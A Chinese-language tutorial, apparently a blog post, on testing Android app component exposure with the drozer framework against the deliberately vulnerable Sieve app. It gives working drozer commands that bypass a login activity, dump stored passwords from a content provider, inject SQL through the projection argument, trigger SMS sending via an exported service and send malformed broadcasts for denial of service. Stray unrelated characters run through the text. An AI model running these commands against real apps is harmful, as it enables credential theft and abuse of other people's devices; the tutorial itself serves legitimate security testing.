手機應(yīng)用的快速增長花竞,手機應(yīng)用安全成為一個熱門的話題竟坛,android的安全問題有一大部分的原因是因為android的組件暴露奴艾、權(quán)限使用不當(dāng)導(dǎo)致的脸哀。
“?
隨著互聯(lián)網(wǎng)應(yīng)用的普及和人們對互聯(lián)網(wǎng)的依賴每篷,互聯(lián)網(wǎng)的安全問題也日益凸顯镐牺。接下來的小編將帶您進入安全測試。
”
一魁莉、android四大組件
什么是安卓應(yīng)用組件睬涧?安卓主要由四大組件組成募胃,Activity、Service畦浓、Content Providers、Broadcast Receivers.
Activity:是一個應(yīng)用程序的組件讶请,一個activity對應(yīng)一個界面,是與用戶進行交互的夺溢。
Activity形態(tài):
Active/Running:?
Activity處于活動狀態(tài),此時Activity處于棧頂风响,是可見狀態(tài),可與用戶進行交互状勤。
Paused:?
當(dāng)Activity失去焦點時,或被一個新的非全屏的Activity持搜,或被一個透明的Activity放置在棧頂時,Activity就轉(zhuǎn)化為Paused狀態(tài)朵诫。但我們需要明白,此時Activity只是失去了與用戶交互的能力剪返,其所有的狀態(tài)信息及其成員變量都還存在,只有在系統(tǒng)內(nèi)存緊張的情況下脱盲,才有可能被系統(tǒng)回收掉。
Stopped:
當(dāng)一個Activity被另一個Activity完全覆蓋時钱反,被覆蓋的Activity就會進入Stopped狀態(tài),此時它不再可見面哥,但是跟Paused狀態(tài)一樣保持著其所有狀態(tài)信息及其成員變量。
Killed:
當(dāng)Activity被系統(tǒng)回收掉時尚卫,Activity就處于Killed狀態(tài)。
Activity會在以上四種形態(tài)中相互切換吱涉,至于如何切換外里,這因用戶的操作不同而異特石。了解了Activity的4種形態(tài)后盅蝗,我們就來聊聊Activity的生命周期姆蘸。
Service:Service通常位于后臺運行墩莫,它一般不需要與用戶交互,因此Service組件沒有圖形用戶界面乞旦。Service組件需要繼承Service基類贼穆。Service組件通常用于為其他組件提供后臺服務(wù)或監(jiān)控其他組件的運行狀態(tài)。
Content Providers:Content Provider用于保存和獲取數(shù)據(jù)兰粉,并使其對所有應(yīng)用程序可見。這是不同應(yīng)用程序間共享數(shù)據(jù)的唯一方式顶瞳,因為android沒有提供所有應(yīng)用共同訪問的公共存儲區(qū)。只有需要在多個應(yīng)用程序間共享數(shù)據(jù)是才需要內(nèi)容提供者慨菱。
Broadcast Receivers:廣播接收器沒有用戶界面。然而符喝,它們可以啟動一個activity或service來響應(yīng)它們收到的信息,或者用NotificationManager來通知用戶畏腕。通知可以用很多種方式來吸引用戶的注意力,例如閃動背燈描馅、震動而线、播放聲音等铭污。一般來說是在狀態(tài)欄上放一個持久的圖標膀篮,用戶可以打開它并獲取消息。
二誓竿、環(huán)境搭建
android sdk;
adb 安裝烤黍;
jdk安裝傻盟,這里需要是喲啊能1.7以下的jdk嫂丙,使用1.8的會報錯,drozer暫不支持1.8的jdk
drozer安裝:
Drozer是一個常用的測試框架跟啤,它可以分為2個部分,一個是console-它運行在本地的計算機上隅肥,一個是server-它運行在android設(shè)備上。當(dāng)你使用console與android設(shè)備交互時腥放,基本上就是java代碼輸入到運行在實際設(shè)備上的drozer代理(agent)中。
drozer下載:https://labs.mwrinfosecurity.com/tools/drozer/ 下載drozer(msi)秃症、agent.apk
Drozer安裝:windows下點擊msi直接安裝
agent安裝:在測試機上安裝agent.apk
sieve安裝:下載sieve.apk,該apk是用來作為被測試的app
三岗仑、drozer驗證
1.打開cmd聚请,運行adb forward tcp:31415 tcp:31415荠雕,如圖所示?
2.在Android設(shè)備上開啟Drozer Agent驶赏,如圖所示:?
此時可以看到enable是綠色的了。
3.在pc端cmd切換到drozer安裝目前矾兜,然后運行 drozer console connect患久,如圖所示:
四、測試
1.獲取要測試應(yīng)用的包名
dz>run app.package.list -f sieve ,-f它是模糊匹配蒋失,匹配包名中的任一字段,會列出包含該字段的所有包名?
2.獲取應(yīng)用的基本信息
dz>run app.package.info -a com.mwr.example.sieve?,查看該apk詳細信息篙挽,可以看到應(yīng)用的版本信息,數(shù)據(jù)存儲的目錄,用戶ID,組ID,是否有共享庫偏竟,還有權(quán)限信息等?
3.確定存在可能被攻擊的界面
dz>run app.package.attacksurface com.mwr.example.sieve ?
顯示了潛在可以被利用的組件個數(shù): “exported”表示組件可以被其他App使用敞峭, services is debuggable表示我們可以用adb綁定一個調(diào)試器到進程。暴露出來的3個activity旋讹,2個content provider,2個可以被adb綁定的service沉迹。
4.activity測試
(1)獲取activity信息
dz>run app.activity.info -a com.mwr.example.sieve
可以看到有三個界面是可以被利用的。?
(2)啟動activity
dz>run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
通過app.activity.start命令可以不需要密碼直接進入passwordList界面
5.Content Provider測試
(1)獲取Content Provider信息
run app.provider.info -a com.mwr.example.sieve?
(2)Content Providers(數(shù)據(jù)泄露)
先獲取所有可以訪問的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve?
獲取各個Uri的數(shù)據(jù):
dz>run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查詢到數(shù)據(jù)說明存在漏洞
可以看到此時有一條數(shù)據(jù)蛤育,該條數(shù)據(jù)是之前在app添加的數(shù)據(jù)琅拌。這里暴露了service、username进宝、password枷恕、email的信息。
(3)Content Providers(SQL注入)
content provider的具體信息徐块,包括名字,權(quán)限胡控,訪問路徑等
dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
報錯則說明存在SQL注入,我們可以繼續(xù)查詢看看有哪些數(shù)據(jù)昼激。?
列出所有表:
dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table';--"
獲取某個表(如Key)中的數(shù)據(jù):
dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"?
(4)同時檢測SQL注入和目錄遍歷
dz>run scanner.provider.injection -a com.mwr.example.sieve
5.service測試
(1)獲取service詳情
dz>run app.service.info -a com.mwr.example.sieve
(2)權(quán)限提升
dz>run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
6.broadcast receive測試
(1)查看暴露的廣播組件信息:
dz>run app.broadcast.info -a com.package.name
獲取broadcast receivers信息
dz>run app.broadcast.send --component 包名 --action android.intent.action.XXX
(2)嘗試拒絕服務(wù)攻擊檢測橙困,向廣播組件發(fā)送不完整intent(空action或空extras):
dz>run app.broadcast.send 通過intent發(fā)送broadcast receiver
Drozer之所以稱之為框架(framework),因為它允許你編寫自己的模塊或者插件瞧掺,擴展你的功能讓它試用你的功能凡傅。它的另外一個作用是,它本質(zhì)上市一個不需要任何權(quán)限的android app—這實際上是它的組件。